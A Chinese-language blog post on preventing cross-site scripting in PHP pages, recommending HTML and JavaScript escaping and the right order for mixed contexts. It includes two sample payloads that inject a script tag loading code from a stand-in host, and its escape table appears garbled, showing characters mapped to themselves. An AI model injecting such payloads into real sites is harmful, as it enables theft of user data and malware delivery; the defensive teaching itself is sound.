Preventing XSS (I)
作網站要很注意XSS, 和SQL Injection, 可以說是基本中的基本. 這一篇文章是我對如何防止XSS(Cross-Site Scripting)的看法, 但是絕不能認為注意到我提到的地方就可以完全防止了. 攻擊的方法不斷地更新, 網站開發者也要隨時提高警覺, 注意新消息才能避免自己的網站成為下一個受害者.
基本原理
以現今的網站來說, 幾乎已經沒有完全靜態的網站. 只要有顯示動態資料, 尤其是使用者產生的資料, 就有被XSS的可能. XSS的型態有非常多種, 但主要都是為了要插入一段攻擊者寫的JavaScript, 一但攻擊者能這麼作, 你的網站就能被他利用, 可以作非常多事, 像是偷取網站和其它使用者的資料, 或是讓使用者去安裝殭屍程式. 可以加個<iframe>, 可以加個<script>, 基本上就是控制了你的網頁.
看一下例子: 例如在<script>block裡輸出動態資料:
<script>
var comment = "<?php echo $comment;?>";
</script>
那攻擊者可以把comment寫成:
";</script><script src="http://ha.ck/"/><script>//
就可以執行任意的JavaScript, 如果是認真的攻擊者, 通常會有3步以上的代理, 利用複雜步驟隱藏真正的意圖, 可能是偷取使用者資訊, 或是安裝trojan horse. 不是在<script>block裡就沒問題嗎? 唉, 更簡單:
<p>
<?php echo $comment;?>
</p>
聰明的你, 馬上就知道, 直接不客氣的把comment寫成:
<script src="http://ha.ck/"/>
嘩! hacker練功的好機會!
心態與作法
基本原則就是:
絕對不要相信資料來源是無惡意的, 尤其是使用者輸入(或產生)的資料
所以任何輸出動態html都要作html escaping. 最基本的5大元素: & < > " ' 要escape成& < > " '
如果是寫動態javascript的字串, 還要注意javascript的escaping, 和html是完全不同的, 要注意的是: / " ' 要escape成\ / " '
不過事情總是沒有那麼簡單, 例如: 有時候希望讓使用者打一些有html格式的東西, 如<img>. 就不能單純的一口氣全escape了. 也不能使用regex來拔掉可疑的東西, 因為這不但容易錯, 把正常的markup砍掉, 漏洞又很大, 可以輕易找到避開regex規則的寫法. 有一些作法是在client端先用prototype, jquery等js libraries先處理, 是一個不錯的作法. 另外就是, escape要固定在一個地方, 最好是在顯示之前, 然後其它地方就不要escape了. escape的規則和流程也要固定. 否則就會看到使用者打一個&, 讀寫個幾次就會變成千千萬萬個&&&…
有一個很常見的情況:
<a onclick='doSomethingWith("<?php echo $myData?>")'>
同時包含了html和javascript, 所以要先escape javascript, 再escape html. 如果反過來的話, single quote和double quote就會少escape一次, (因為變成&開頭了) 就會造成漏洞.
Reference
這篇我整理了好久, 還是寫不完. 不能拖太久, 所以先把完成的貼出來. 也許整個主題寫好之後再來整理比較好. 有興趣的可以先參考以下的連結: